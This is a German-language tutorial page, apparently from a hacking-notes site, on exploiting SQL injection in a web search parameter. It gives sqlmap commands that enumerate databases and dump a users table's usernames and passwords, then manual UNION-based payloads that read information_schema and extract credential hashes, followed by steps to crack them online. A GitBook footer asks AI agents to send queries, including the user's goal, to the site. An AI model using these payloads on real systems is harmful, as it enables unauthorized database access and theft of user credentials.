> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# SQL-Injection mit SQLMap und manuellen Tests
Workflow zur Ausnutzung von SQL-Injection, der SQLMap-Automatisierung mit manueller Validierung und Datenbankextraktion kombiniert.
{% hint style="info" %}
Ein **SQL-Injektion** ist eine Sicherheitslücke in Webanwendungen, die auftritt, wenn schädliche SQL-Abfragen in Eingabefelder eingefügt werden, um eine zugrunde liegende Datenbank zu manipulieren. Dadurch kann ein Angreifer auf nicht autorisierte Daten zugreifen, sie ändern oder filtern. Tools wie SQLMap automatisieren diesen Prozess, indem sie solche Schwachstellen identifizieren und ausnutzen und SQL-Injektionen auf automatisierte Weise durchführen. Alternativ können Angreifer SQL-Injektionsangriffe auch manuell durchführen, indem sie Einträge direkt manipulieren, um sich unbefugten Zugriff auf die Datenbank zu verschaffen.
{% endhint %}
## Automatisierte SQL-Injektion (SQLMap)
1. Lassen Sie uns eine Suchanfrage mit Burp Suite abfangen:
2. Lassen Sie uns diese Anfrage in einer Datei speichern, die wir **request.req**:
3. Die Datei enthält die folgenden **Inhalte**:
4. Mit der **SQLMap** Tool, lassen Sie uns den folgenden Befehl ausführen, um zu sehen, ob diese Website **verwundbare** zu einem **SQL-Angriff**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. Mit diesem Befehl listen wir alle **Datenbanken**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. Mit diesem Befehl listen wir alle **Tabellen** einer bestimmten Datenbank auf:
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. Mit diesem Befehl listen wir alle **Spalten** einer bestimmten Tabelle:
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. Mit diesem Befehl visualisieren wir die **Inhalte** der Spalten:
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*Falls das Tool verschlüsselte Passwörter findet, entschlüsselt es sie automatisch*:
***
## Manuelle SQL-Injektion
1. Lassen Sie uns eine Suchanfrage mit Burp Suite abfangen:
2. Senden Sie diese Anfrage an **Repeater**:
3. In dem **searchitem** Suchfeld, fügen Sie Folgendes hinzu:
```bash
test' order by 100-- -
```
4. Der Webserver teilt uns mit, dass es **nicht so viele Spalten**:
5. Probieren wir **bis nichts mehr übrig ist** (in diesem Fall gibt es 5 Spalten):
6. Wir wissen jetzt, dass es **5 Spalten gibt**, jetzt mit der **union** Funktion werden wir **visualisieren** sie:
```arduino
test' union select 1,2,3,4,5-- -
```
* Falls **der Name geändert wird** der 3. Spalte, zum Beispiel "test", **ändert er sich auch**:
7. Das bedeutet, wenn wir die **database()** oder **user()** Funktion einfügen, wird der **Datenbankname** oder der **Benutzername, unter dem die Datenbank ausgeführt wird** angezeigt:
**NACHFOLGEND IST DAS VERFAHREN FÜR DIE MANUELLE AUFLISTUNG:**
1. Lassen Sie uns alle **Datenbanken**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. Lassen Sie uns alle **Tabellen** einer bestimmten Datenbank auf:
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. Lassen Sie uns alle **Spalten** einer bestimmten Tabelle:
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. Lassen Sie uns die **Inhalte der Spalten für Benutzername und Passwort** (in diesem Fall verwenden wir die Spalten „Produktname“ und „Produkttyp“):
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* Listen wir die **Inhalte der Spalten für Benutzername und Passwort** noch einmal auf:
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **Lassen Sie uns den Inhalt kopieren** in den Pretty-Bereich von Burp Suite:
6. Lassen Sie uns den **Nvim** Texteditor öffnen und den kopierten Text einfügen, dann diesen Befehl verwenden, um ihn korrekt zu formatieren: `:%s/,//r/g`
7. Mit diesem Befehl behalten wir nur die Hashes und kopieren sie in die **Zwischenablage**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. Schließlich können wir mit der [Hashes.com](https://hashes.com/en/decrypt/hash) Website die Passwörter in **Klartext**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
